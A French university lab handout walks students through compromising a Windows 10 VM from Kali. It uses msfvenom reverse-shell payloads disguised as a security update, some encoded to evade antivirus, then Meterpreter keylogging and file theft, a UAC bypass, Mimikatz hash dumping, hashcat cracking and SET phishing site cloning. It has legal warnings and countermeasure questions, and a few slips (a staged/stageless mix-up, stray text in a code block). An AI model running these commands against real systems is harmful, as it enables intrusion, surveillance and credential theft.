

TRAVAUX PRATIQUES — SÉCURITÉ OFFENSIVE

Analyse de Vulnérabilité : Windows Workstation (Windows 10)

⚠ AVERTISSEMENT LÉGAL ET PÉDAGOGIQUE : Ce TP s'inscrit exclusivement dans un cadre pédagogique encadré. L'ensemble des manipulations décrites doit être réalisé **UNIQUEMENT** dans un environnement virtuel isolé (réseau NAT, aucune connexion à Internet). Toute reproduction de ces techniques sur des systèmes sans autorisation écrite préalable est une infraction pénale sanctionnée par les articles 323-1 à 323-7 du Code pénal français (jusqu'à 5 ans d'emprisonnement et 75 000 € d'amende). L'enseignant et l'établissement déclinent toute responsabilité en cas d'utilisation en dehors de ce cadre.

Niveau	BUT Cybersécurité — 2ème année
Durée estimée	3 à 4 heures
Environnement	VirtualBox — Réseau NAT isolé (aucune connexion Internet)
Machines requises	• Kali Linux (dernière version — attaquant) • Windows 10 (victime — antivirus et pare-feu désactivés)

Objectifs pédagogiques

À l'issue de ce TP, l'étudiant sera capable de :

- Comprendre le fonctionnement d'un cheval de Troie (Trojan / backdoor) de type reverse shell
- Générer un payload malveillant avec msfvenom et l'adapter à une cible Windows 10
- Configurer un listener Metasploit (multi/handler) et gérer des sessions Meterpreter
- Réaliser des actions de post-exploitation : récupération de fichiers, capture d'écran, keylogger, gestion des processus
- Effectuer une élévation de privilèges (bypass UAC) et extraire les hashes NTLM de la SAM
- Craquer un hash NTLM avec hashcat et un dictionnaire
- Comprendre les principes du spear phishing et du clonage de site avec SET
- Proposer des contre-mesures adaptées à chaque technique explorée

Contexte du TP

Ce TP illustre comment un attaquant exploite des négligences de configuration (absence ou obsolescence d'antivirus, pare-feu désactivé, comportement utilisateur imprudent) pour compromettre une machine Windows 10 et en prendre le contrôle total à distance.

Vous incarnerez successivement le rôle de l'attaquant (depuis Kali Linux) et analyserez chaque étape du point de vue défensif. Chaque partie se conclut par une section « Contre-mesures » que vous devrez compléter.

Partie 0 — Préparation de l'environnement

Configuration réseau

Dans VirtualBox, configurez les deux machines en réseau NAT Network (et non en mode Bridge ou NAT simple) :

1. Dans VirtualBox → Fichier → Outils → Network Manager → NAT Networks → Créer un réseau NAT (ex : CyberLab, plage 10.0.2.0/24)
2. Pour chaque machine (Kali et Windows 10) : Paramètres → Réseau → Adaptateur 1 → Réseau NAT → sélectionner CyberLab
3. Démarrer les deux machines et vérifier qu'elles s'obtiennent une adresse dans la plage 10.0.2.x

i Note : Le mode NAT Network permet aux VMs de communiquer entre elles ET d'avoir un accès Internet via l'hôte. Pour un isolement total (recommandé en production pédagogique), désactiver l'accès Internet sur le réseau NAT dans les paramètres VirtualBox, ou utiliser un réseau Host-Only dédié.

Vérification de la connectivité

Sur Kali Linux, récupérez votre adresse IP :

```
ip addr show
```

Notez l'adresse IP de Kali (ex : 10.0.2.5). Depuis Windows 10, ouvrez PowerShell et testez :

```
ping 10.0.2.5
```

Sur Windows 10 - Préparation pour le TP (simulation d'un poste non sécurisé) :

4. Désactiver le Pare-feu Windows : Panneau de configuration → Pare-feu Windows Defender → Activer ou désactiver le Pare-feu Windows → Désactiver pour tous les profils
5. Désactiver Microsoft Defender (protection en temps réel) : Paramètres → Confidentialité et sécurité → Sécurité Windows → Protection contre les virus et menaces → Gérer les paramètres → Protection en temps réel → Désactivé
6. Désactiver la protection cloud et la soumission automatique d'échantillons dans le même menu

⚠ Attention : Ces désactivations simulent une machine vulnérable. Ne jamais appliquer ces configurations sur un poste de travail réel ou connecté à un réseau de production.

Partie I — Reverse Shell avec Meterpreter

1.1 Génération du payload avec msfvenom

msfvenom est l'outil de génération de payloads intégré à Metasploit. Il crée un exécutable Windows contenant un agent Meterpreter qui, une fois lancé sur la machine cible, établit une connexion TCP sortante vers Kali (reverse TCP - difficile à bloquer par un pare-feu).

Sur Kali Linux, ouvrez un terminal et saisissez la commande suivante (remplacez l'IP par celle de votre Kali) :

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.0.2.5 \
```

```
LPORT=4444 \
-f exe \
-o /home/kali/mise_a_jour_securite.exe
```

Option	Signification
-p windows/x64/meterpreter/reverse_tcp	Payload : Meterpreter 64 bits en mode staged (se charge en mémoire en deux temps). Utiliser x64 pour Windows 10.
LHOST=10.0.2.5	Adresse IP de Kali — c'est vers cette IP que la victime établira la connexion
LPORT=4444	Port d'écoute sur Kali — peut être changé pour un port moins filtré (443, 80)
-f exe	Format de sortie : exécutable Windows (.exe)
-o /home/kali/...	Chemin de sauvegarde du fichier généré

i Note technique : Nous utilisons le payload staged (windows/x64/meterpreter/reverse_tcp) et non stageless (windows/x64/meterpreter/reverse_tcp). Le payload staged est plus petit mais nécessite une connexion active au handler Metasploit pour se charger complètement. Le stageless est autonome mais plus volumineux et plus détectable.

1.2 Partage du fichier avec la victime

Pour transmettre le fichier à la machine Windows 10, vous allez utiliser Apache2 comme serveur de téléchargement temporaire :

```
sudo mkdir -p /var/www/html/share
sudo cp /home/kali/mise_a_jour_securite.exe /var/www/html/share/
sudo systemctl start apache2
sudo systemctl status apache2    # Vérifier que le service est actif
```

Testez l'accès depuis Kali :

```
curl http://localhost/share/mise_a_jour_securite.exe --output /dev/null -w
' %{http_code} '
```

Si le code retourné est 200, le fichier est accessible. Sur Windows 10, ouvrez Microsoft Edge et accédez à :

```
http://10.0.2.5/share/mise_a_jour_securite.exe
```

Téléchargez le fichier (si Edge bloque le téléchargement, cliquez sur « Conserver quand même »).

1.3 Configuration du listener Metasploit

Avant que la victime n'exécute le payload, le listener doit être actif sur Kali. Ouvrez un second terminal et lancez msfconsole :

```
msfconsole
# Une fois dans msfconsole :
msf6 > use exploit/multi/handler
```

```
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.2.5
LHOST => 10.0.2.5
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > exploit -j
```

i Note : L'option -j lance le handler en arrière-plan (job). ExitOnSession false permet d'accepter plusieurs connexions successives sans relancer le handler.

1.4 Exécution et récupération de session

Sur Windows 10, double-cliquez sur le fichier téléchargé. Windows SmartScreen peut afficher un avertissement (« Application inconnue »), cliquez sur « Exécuter quand même ».

Retournez sur Kali. Vous devriez voir apparaître dans msfconsole :

```
[*] Sending stage (200774 bytes) to 10.0.2.15
[*] Meterpreter session 1 opened (10.0.2.5:4444 -> 10.0.2.15:49xxx)
```

Pour interagir avec la session :

```
msf6 > sessions -l          # Lister les sessions actives
msf6 > sessions -i 1        # Entrer dans la session 1
```

1.5 Post-exploitation — Explorer les capacités de Meterpreter

La commande help dans Meterpreter liste toutes les commandes disponibles. Testez les commandes suivantes et notez les résultats :

Commande	Action réalisée
sysinfo	Affiche les informations système (OS, hostname, architecture)
getuid	Affiche le compte Windows sous lequel s'exécute Meterpreter
pwd	Répertoire courant sur la machine victime
ls	Liste les fichiers du répertoire courant
ps	Liste tous les processus en cours d'exécution
screenshot -v true	Prend une capture d'écran et l'affiche
screenshare	Flux vidéo en direct de l'écran victime (fermer avec Ctrl+C)
keyscan_start	Démarre l'enregistrement des frappes clavier
keyscan_dump	Affiche les frappes enregistrées (tester sur Windows 10 en tapant du texte)

keyscan_stop	Arrête le keylogger
upload /etc/hosts C:\\Windows\\Temp\\	Envoie un fichier de Kali vers la victime
download 'C:\\Windows\\System32\\drivers\\etc\\hosts' /tmp/	Télécharge un fichier de la victime vers Kali

1.6 Contre-mesures : À compléter

— **Question** : Listez au minimum 4 mesures concrètes qui auraient empêché ou détecté cette attaque. Pour chaque mesure, précisez si elle agit en prévention ou en détection.

Partie II — Élévation de privilèges et extraction des hashes NTLM

2.1 Contexte

Votre session Meterpreter s'exécute actuellement avec les droits de l'utilisateur Windows courant. Pour accéder aux hashes des mots de passe de tous les comptes, vous avez besoin des privilèges NT AUTHORITY\\SYSTEM. Vous allez utiliser le module bypassuac_fodhelper qui exploite une élévation de privilèges via Windows Feature On Demand Helper.

Compatibilité : bypassuac_fodhelper fonctionne sur Windows 10 et Windows 10 (y compris les versions récentes). Il exploite fodhelper.exe, un binaire signé Microsoft qui hérite des privilèges UAC élevés automatiquement. Ce bypass ne nécessite pas de CVE, c'est une feature Windows utilisée de manière détournée.

2.2 Création des comptes de test

Avant l'élévation, créez 3 comptes utilisateurs sur Windows 10 pour simuler un environnement réel. Ouvrez PowerShell en tant qu'administrateur sur Windows 10 :

```
net user etudiant1 Password123! /add
net user etudiant2 Bonjour2024! /add
net user etudiant3 Azerty123@ /add
```

2.3 Élévation de privilèges (bypass UAC)

Depuis votre session Meterpreter active (session 1), mettez-la en arrière-plan et lancez l'exploit UAC bypass :

```
meterpreter > background
msf6 > use exploit/windows/local/bypassuac_fodhelper
msf6 exploit(bypassuac_fodhelper) > set SESSION 1
msf6 exploit(bypassuac_fodhelper) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(bypassuac_fodhelper) > set LHOST 10.0.2.5
msf6 exploit(bypassuac_fodhelper) > set LPORT 4445
msf6 exploit(bypassuac_fodhelper) > exploit
```

En cas de succès, une nouvelle session Meterpreter s'ouvre. Interagissez avec elle :

```
msf6 > sessions -i 2
meterpreter > getsystem
# Résultat attendu : ...got system via technique 1 (Named Pipe Impersonation...)
meterpreter > getuid
# Résultat attendu : Server username: NT AUTHORITY\SYSTEM
```

Si l'exploit échoue : Si `bypassuac_fodhelper` ne fonctionne pas (selon la version de Windows 10 et les patches), essayez : `use exploit/windows/local/bypassuac_eventvwr`, ou encore `getsystem` directement depuis la session initiale si l'utilisateur est déjà admin local.

2.4 Extraction des hashes NTLM avec le module Kiwi

Le module Kiwi est l'intégration de Mimikatz dans Meterpreter. Il permet d'extraire les hashes de mots de passe depuis la base SAM et le processus LSASS.

```
meterpreter > use kiwi
meterpreter > lsa_dump_sam
```

Le résultat affiche les hashes NTLM de tous les comptes locaux au format :

```
User : etudiant1
Hash NTLM : 58a478135a93ac3bf058a5ea0e8fdb71
```

2.5 Craquage des hashes avec hashcat

Ouvrez un nouveau terminal sur Kali. Créez un fichier contenant les hashes récupérés :

```
nano /home/kali/hashs.txt
```

Collez chaque hash NTLM sur une ligne séparée. Puis lancez hashcat avec une attaque par dictionnaire :

```
gunzip /usr/share/wordlists/rockyou.txt
hashcat -m 1000 /home/kali/hashs.txt /usr/share/wordlists/rockyou.txt
```

Option hashcat	Signification
<code>-m 1000</code>	Mode de hash : 1000 = NTLM (hash seul, non salé). Ne pas confondre avec <code>-m 5600</code> (NTLMv2 challenge/response)
<code>/home/kali/hashs.txt</code>	Fichier contenant les hashes NTLM à craquer
<code>/usr/share/wordlists/rockyou.txt</code>	Dictionnaire de mots de passe (disponible dans Kali, à décompresser : <code>gunzip rockyou.txt.gz</code>)

Pour afficher les mots de passe trouvés :

```
hashcat -m 1000 /home/kali/hashs.txt /usr/share/wordlists/rockyou.txt --show
```

Note : Si rockyou.txt n'est pas décompressé : `sudo gunzip /usr/share/wordlists/rockyou.txt.gz`. Les mots de passe simples comme Password123! sont dans rockyou.txt. Pour un craquage plus rapide, hashcat utilise le GPU si disponible. Sur une VM, le craquage peut prendre quelques minutes.

2.6 Contre-mesures — À compléter

Questions : 1. Pourquoi le hash NTLM est-il plus dangereux qu'un mot de passe chiffré ? 2. Quelles politiques de mots de passe Windows permettraient de résister à une attaque par dictionnaire ? 3. Qu'est-ce que la protection LSA Credentials Guard et comment l'activer sous Windows 10 ?

Partie III — Social Engineering et Phishing (SET)

3.1 Contexte

Le Social Engineering Toolkit (SET) est un framework de test d'ingénierie sociale intégré à Kali Linux. Dans cette partie, vous allez cloner un site web légitime pour simuler une attaque de credential harvesting (collecte d'identifiants).

Important : Cette partie doit être réalisée exclusivement sur le réseau virtuel local (NAT Network). Ne JAMAIS utiliser l'URL d'un vrai site pour tromper de vraies personnes. L'URL cible dans ce TP sera celle d'une page de test locale.

3.2 Lancement de SET

SET est préinstallé sur Kali Linux. Lancez-le avec les droits administrateurs :

```
sudo setoolkit
```

Naviguez dans les menus :

7. 1) Social-Engineering Attacks
8. 2) Website Attack Vectors
9. 3) Credential Harvester Attack Method
10. 2) Site Cloner

SET vous demande deux informations :

- IP pour capturer les identifiants : saisissez l'adresse IP de votre Kali (ex : 10.0.2.5)
- URL à cloner : saisissez `https://demo.testfire.net/login.jsp` (site de test OWASP, légal à cloner en lab)

SET clone le site et démarre un serveur HTTP sur le port 80. Sur Windows 10, accédez à `http://10.0.2.5` et saisissez de faux identifiants. Observez ce qui s'affiche dans le terminal Kali.

3.3 Techniques de dissimulation d'URL

Un attaquant réel cherchera à masquer l'adresse IP de son serveur. Deux techniques illustratives :

Technique 1 : Conversion IP en notation décimale

L'adresse IP 10.0.2.5 peut être convertie en entier décimal. Cherchez en ligne « IP address to integer converter » et convertissez votre adresse IP. Le résultat peut être utilisé directement dans un navigateur :

```
http://167772677/ (exemple pour 10.0.2.5)
```

Testez cette URL dans le navigateur Windows 10, elle redirige vers le même serveur.

Technique 2 — Confusion par le caractère @

La syntaxe `http://utilisateur:motdepasse@serveur` est une URL légitime pour l'authentification HTTP de base. Certains navigateurs affichent de manière trompeuse :

```
http://www.facebook.com@10.0.2.5
```

Dans cette URL, `www.facebook.com` est interprété comme un nom d'utilisateur, et c'est 10.0.2.5 qui reçoit la connexion. Testez dans Edge sur Windows 10 et observez le comportement.

Note : Les navigateurs modernes (Edge, Chrome, Firefox) affichent désormais une alerte pour les URLs contenant @ avec un nom de domaine suspect. Cette technique est moins efficace qu'en 2020 mais reste illustrative d'un vecteur d'attaque.

3.4 Contre-mesures : À compléter

Questions : 1. Comment DMARC, DKIM et SPF permettent-ils de lutter contre le phishing par e-mail ? 2. Citez 3 indicateurs visuels qu'un utilisateur averti peut observer pour détecter un site de phishing. 3. Qu'est-ce qu'une simulation de phishing interne et quel est son intérêt pédagogique ?

Partie IV – Cybersécurité Offensive et Défensive

4.1 Contexte

Le but de cette est de :

1. Comprendre le fonctionnement des outils de génération de backdoors
2. Observer les techniques d'évasion antivirus basiques
3. Expérimenter des actions post-exploitation (fichiers, processus, périphériques)
4. Mettre en œuvre des stratégies de détection et de mitigation
5. Renforcer la conscience des risques liés aux outils RAT

4.2 Lancement de msfvenom

La machine attaquante (Kali) doit préparer deux éléments :

1. **Le payload :** le programme malveillant qui sera exécuté sur la victime
2. **Le listener :** le serveur qui attend la connexion de la victime

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \  
  LHOST=192.168.56.10 \  
  LPORT=4444 \  
  -f exe \  
  -o /tmp/payload.exe
```


Questions : 1. Pourquoi utiliser un reverse TCP plutôt qu'un bind TCP ? 2. Notez la taille du payload

4.3 Création d'un second payload avec encodage

Pourquoi encoder un payload ?

Les antivirus utilisent des **signatures** : des motifs binaires caractéristiques des malwares. En modifiant le payload (sans changer sa fonction), on peut parfois éviter la détection par signature. L'encodage est une technique de transformation.

```
Bilan et rapport de TPmsfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.56.10 \
  LPORT=4444 \
  -e x86/shikata_ga_nai \
  -i 5 \
  -f exe \
  -o /tmp/payload_encoded.exe
```

Question : L'encodage garantit-il de passer tous les antivirus ?

Lancer Metasploit

```
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.10
set LPORT 4444
set ExitOnSession false
exploit -j
```

Questions : 1. Expliquez l'utilité des deux dernières commandes

4.4 Transfert du payload vers la victime

Le transfert de fichier est une étape critique. Plusieurs méthodes existent :

- Serveur web (simple, efficace)
- Partage SMB
- USB virtuel
- Email simulé

Nous utilisons un serveur web Python car il est rapide à mettre en place et ne nécessite pas de configuration.

Démarrer un serveur web

```
cd /tmp  
python3 -m http.server 8080
```

Une fois la victime double-clique sur le .exe, sur kali une session doit apparaître

Interaction avec la session

```
sessions  
sessions -i 1
```

Récupération d'informations système

```
sysinfo  
getuid  
getpid
```

Capture d'écran

```
screenshot
```

Navigation dans le système de fichiers

```
pwd  
ls  
cd C:\\Users\\Eleve\\Desktop  
ls
```

Récupération d'un fichier

Créez d'abord un fichier sur le bureau Windows (via l'interface graphique) nommé `confidential.txt` contenant le texte : `Donnée sensible : LAB2025`.

Puis récupérez-le :

```
download "C:\\Users\\Eleve\\Desktop\\confidential.txt" /tmp/  
ps
```

Lister et tuer un processus

Identifiez un processus non critique (ex: `notepad.exe` ou `calculator.exe`). Lancez-en un

```
shell  
start notepad.exe  
exit
```

Puis tuez-le

désactivation de périphérique (clavier)

```
shell
sc config i8042prt start= disabled
```

Cette commande désactive le service clavier. Pour le réactiver :

```
shell
sc config i8042prt start= auto
```

Questions de synthèse

11. Quel est le rôle du flag -j dans la commande exploit -j de Metasploit ? Dans quel cas est-il utile ?
12. Quelle différence y a-t-il entre un payload staged et un payload stageless ? Quels sont les avantages et inconvénients de chacun ?
13. Pourquoi le reverse TCP (connexion sortante depuis la victime) est-il plus difficile à bloquer par un pare-feu d'entreprise qu'un bind TCP (écoute sur la victime) ?
14. Qu'est-ce que le UAC (User Account Control) de Windows ? `bypassuac_fodhelper` contourne-t-il réellement le contrôle de sécurité ou en exploite-t-il une faiblesse de conception ?
15. Comparez hashcat et les sites de craquage en ligne (crackstation.net) : quels sont les risques de sécurité liés à l'utilisation des sites en ligne pour un professionnel ?

Livrables attendus

- Captures d'écran documentant chaque étape réalisée
- Réponses aux questions de contre-mesures dans chaque partie
- Réponses aux questions de synthèse
- Un paragraphe de 5 à 10 lignes résumant ce que vous avez appris et les risques réels que ces techniques représentent pour une organisation

Rappel final : Toutes les techniques pratiquées dans ce TP sont illégales si utilisées sans autorisation explicite sur des systèmes réels. Ce TP est réalisé dans un cadre pédagogique strict, sur des machines virtuelles isolées. La maîtrise de ces techniques est indispensable pour comprendre et mettre en place des contre-mesures efficaces.